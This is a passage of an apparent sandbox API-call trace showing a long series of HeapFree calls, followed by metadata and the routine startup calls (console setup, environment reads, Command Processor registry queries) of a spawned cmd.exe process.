	[0087.406] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.887] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0087.900] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0087.939] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.940] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.942] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.942] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0087.943] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0088.718] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.796] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.796] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0088.815] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.821] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.822] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.824] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.829] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.829] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.835] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0088.838] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0088.838] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.847] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.848] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.849] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.857] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0088.857] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0088.857] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0088.858] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0088.861] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0088.861] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.105] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.115] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.117] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.118] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.118] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.123] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.123] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.124] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0089.124] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.124] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.492] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.493] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.493] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.496] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0089.496] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.496] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.505] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.506] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.506] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0089.600] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.600] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.600] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.607] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.612] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0089.613] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0089.613] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0089.613] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.615] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0090.459] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0090.463] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.463] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0090.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.465] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.466] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0090.467] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0090.467] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.467] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0090.467] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0090.840] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0090.848] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0090.848] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0090.848] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0090.982] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.984] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0090.984] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0091.001] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.003] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.005] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.005] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.005] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0091.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0091.006] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0091.007] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0091.007] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0091.007] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0091.007] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.007] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.008] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0091.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.010] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.109] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.109] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.109] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.109] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0091.112] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.114] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.114] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0091.117] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.122] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.127] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.127] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.127] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.130] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.130] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.131] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.131] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.131] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.131] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.131] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.131] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.133] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.168] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0091.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0091.169] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0091.463] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.465] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0091.466] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0091.467] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1

Thread:
	id = 27
	os_tid = 0x1298


Thread:
	id = 28
	os_tid = 0x12b4


Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x7d1e000"
	os_pid = "0x1158"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13a0"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0x1150

	[0067.684] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d8be0000
	[0067.684] __set_app_type (_Type=0x1) 
	[0067.684] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7d8bf6d00) returned 0x0
	[0067.684] __getmainargs (in: _Argc=0x7ff7d8c19200, _Argv=0x7ff7d8c19208, _Env=0x7ff7d8c19210, _DoWildCard=0, _StartInfo=0x7ff7d8c1921c | out: _Argc=0x7ff7d8c19200, _Argv=0x7ff7d8c19208, _Env=0x7ff7d8c19210) returned 0
	[0067.684] _onexit (_Func=0x7ff7d8bf7fd0) returned 0x7ff7d8bf7fd0
	[0067.684] _onexit (_Func=0x7ff7d8bf7fe0) returned 0x7ff7d8bf7fe0
	[0067.685] _onexit (_Func=0x7ff7d8bf7ff0) returned 0x7ff7d8bf7ff0
	[0067.685] _onexit (_Func=0x7ff7d8bf8000) returned 0x7ff7d8bf8000
	[0067.685] _onexit (_Func=0x7ff7d8bf8010) returned 0x7ff7d8bf8010
	[0067.685] _onexit (_Func=0x7ff7d8bf8020) returned 0x7ff7d8bf8020
	[0067.685] GetCurrentThreadId () returned 0x1150
	[0067.686] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1150) returned 0x70
	[0067.686] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000
	[0067.686] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990
	[0067.686] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0068.065] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0068.065] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x4dd259f798 | out: phkResult=0x4dd259f798*=0x0) returned 0x2
	[0068.066] VirtualQuery (in: lpAddress=0x4dd259f784, lpBuffer=0x4dd259f700, dwLength=0x30 | out: lpBuffer=0x4dd259f700*(BaseAddress=0x4dd259f000, AllocationBase=0x4dd24a0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.066] VirtualQuery (in: lpAddress=0x4dd24a0000, lpBuffer=0x4dd259f700, dwLength=0x30 | out: lpBuffer=0x4dd259f700*(BaseAddress=0x4dd24a0000, AllocationBase=0x4dd24a0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.066] VirtualQuery (in: lpAddress=0x4dd24a1000, lpBuffer=0x4dd259f700, dwLength=0x30 | out: lpBuffer=0x4dd259f700*(BaseAddress=0x4dd24a1000, AllocationBase=0x4dd24a0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.066] VirtualQuery (in: lpAddress=0x4dd24a4000, lpBuffer=0x4dd259f700, dwLength=0x30 | out: lpBuffer=0x4dd259f700*(BaseAddress=0x4dd24a4000, AllocationBase=0x4dd24a0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.066] VirtualQuery (in: lpAddress=0x4dd25a0000, lpBuffer=0x4dd259f700, dwLength=0x30 | out: lpBuffer=0x4dd259f700*(BaseAddress=0x4dd25a0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff9302, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0068.066] GetConsoleOutputCP () returned 0x1b5
	[0068.820] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d8c1fbb0 | out: lpCPInfo=0x7ff7d8c1fbb0) returned 1
	[0068.820] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7d8c08150, Add=1) returned 1
	[0068.820] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.820] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d8c1fc04 | out: lpMode=0x7ff7d8c1fc04) returned 0
	[0068.820] _get_osfhandle (_FileHandle=0) returned 0x248
	[0068.820] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d8c1fc00 | out: lpMode=0x7ff7d8c1fc00) returned 0
	[0068.820] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.820] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0068.820] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.820] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d8c1fc08 | out: lpMode=0x7ff7d8c1fc08) returned 0
	[0068.820] _get_osfhandle (_FileHandle=0) returned 0x248
	[0068.820] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d8c1fc0c | out: lpMode=0x7ff7d8c1fc0c) returned 0
	[0068.820] GetEnvironmentStringsW () returned 0x1a1db4a5a10*
	[0068.821] GetProcessHeap () returned 0x1a1db4a0000
	[0068.821] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xa7c) returned 0x1a1db4a64a0
	[0068.821] FreeEnvironmentStringsA (penv="A") returned 1
	[0068.821] GetProcessHeap () returned 0x1a1db4a0000
	[0068.821] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x8) returned 0x1a1db4a6f30
	[0068.821] GetEnvironmentStringsW () returned 0x1a1db4a5a10*
	[0068.821] GetProcessHeap () returned 0x1a1db4a0000
	[0068.821] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xa7c) returned 0x1a1db4a6f50
	[0068.821] FreeEnvironmentStringsA (penv="A") returned 1
	[0068.821] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4dd259e648 | out: phkResult=0x4dd259e648*=0x7c) returned 0x0
	[0068.821] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x0, lpData=0x4dd259e660*=0x4, lpcbData=0x4dd259e644*=0x1000) returned 0x2
	[0068.821] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x4, lpData=0x4dd259e660*=0x1, lpcbData=0x4dd259e644*=0x4) returned 0x0
	[0068.821] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x0, lpData=0x4dd259e660*=0x1, lpcbData=0x4dd259e644*=0x1000) returned 0x2
	[0068.821] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x4, lpData=0x4dd259e660*=0x0, lpcbData=0x4dd259e644*=0x4) returned 0x0
	[0068.821] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x4, lpData=0x4dd259e660*=0x40, lpcbData=0x4dd259e644*=0x4) returned 0x0
	[0068.821] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x4, lpData=0x4dd259e660*=0x40, lpcbData=0x4dd259e644*=0x4) returned 0x0
	[0068.821] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x0, lpData=0x4dd259e660*=0x40, lpcbData=0x4dd259e644*=0x1000) returned 0x2
	[0068.821] RegCloseKey (hKey=0x7c) returned 0x0
	[0068.821] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4dd259e648 | out: phkResult=0x4dd259e648*=0x7c) returned 0x0
	[0068.822] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x0, lpData=0x4dd259e660*=0x40, lpcbData=0x4dd259e644*=0x1000) returned 0x2
	[0068.822] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x4, lpData=0x4dd259e660*=0x1, lpcbData=0x4dd259e644*=0x4) returned 0x0
	[0068.822] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4dd259e640, lpData=0x4dd259e660, lpcbData=0x4dd259e644*=0x1000 | out: lpType=0x4dd259e640*=0x0, lpData=0x4dd259e660*=0x1, lpcbData=0x4dd259e644*=0x1000) returned 0x2
